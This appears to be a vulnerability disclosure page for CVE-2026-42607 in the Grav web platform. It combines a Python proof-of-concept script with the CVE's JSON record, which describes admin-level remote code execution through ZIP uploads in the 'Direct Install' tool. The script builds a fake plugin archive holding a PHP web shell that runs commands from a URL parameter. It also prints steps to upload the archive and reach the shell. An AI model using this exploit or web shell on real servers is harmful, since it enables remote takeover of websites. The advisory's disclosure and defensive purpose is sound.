CVE-2026-42607

import zipfile import os # 1. Create malicious PHP code (Webshell) php_content = "<?php system($_GET['cmd']); ?>" # 2. Create a directory structure mimicking a Grav plugin plugin_name = "malicious_plugin" os.makedirs(plugin_name, exist_ok=True) # Write the malicious file inside the plugin folder shell_path = os.path.join(plugin_name, "vuln.php") with open(shell_path, "w") as f: f.write(php_content) # 3. Zip the directory zip_filename = "exploit.zip" with zipfile.ZipFile(zip_filename, 'w') as zipf: zipf.write(shell_path, arcname=os.path.join(plugin_name, "vuln.php")) print(f"[+] Created malicious ZIP file: {zip_filename}") print(f"[+] Upload this file to the 'Direct Install' section in Grav Admin panel.") print(f"[+] Access the shell at: /user/plugins/{plugin_name}/vuln.php?cmd=whoami") # Cleanup artifacts os.remove(shell_path) os.rmdir(plugin_name)

{"cve": {"id": "CVE-2026-42607", "sourceIdentifier": "[email protected]", "published": "2026-05-11T16:17:32.720", "lastModified": "2026-05-11T16:17:32.720", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 2.0.0-beta.2, an authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the \"Direct Install\" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server. This vulnerability is fixed in 2.0.0-beta.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw", "source": "[email protected]"}]}}